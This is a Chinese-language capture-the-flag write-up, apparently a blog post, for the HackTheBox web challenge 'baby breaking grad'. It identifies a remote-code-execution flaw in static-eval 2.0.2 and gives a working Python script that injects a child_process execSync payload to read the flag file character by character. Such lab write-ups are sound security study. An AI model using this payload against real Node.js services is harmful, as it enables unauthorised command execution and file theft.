HackTheBox-baby breaking grad

概述

HackTheBox 网站CTF靶场Web相关题目baby breaking grad,题目地址https://app.hackthebox.com/challenges/baby-breaking-grad,主要考察AST注入的知识点。

在这里插入图片描述

题目

题目概述

开启程序实例后,提示访问209.97.187.217:32476,访问http://209.97.187.217:32476,看到如下Web界面

在这里插入图片描述

直接选择一个提交得到
在这里插入图片描述
下载附件解压缩得到
在这里插入图片描述

源代码

在routes目录下的index.js中,包括对不同url的处理方法
在这里插入图片描述

其中涉及到StudentHelper.js,对应的源代码
在这里插入图片描述
StudentHelper.js用到了static-evalesprima,在package.json中查看他们的版本
在这里插入图片描述

解题思路

可以看到static-eval为2.0.2,存在RCE漏洞,具体可参考https://github.com/advisories/GHSA-8v27-2fg9-7h62

在这里插入图片描述

解题代码

import string
import requests

url = 'http://209.97.187.217:32476/api/calculate'
flag = ''

for i, _ in enumerate(iter(bool, True)):
    for chr in string.printable:
        payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"

        data = {"name": "AAA", "formula": payload}
        r = requests.post(url, json=data)

        if('Passed' in r.content):
            flag += chr
            print(flag)

            if(chr == '}'):
                quit()

            break

运行代码,得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值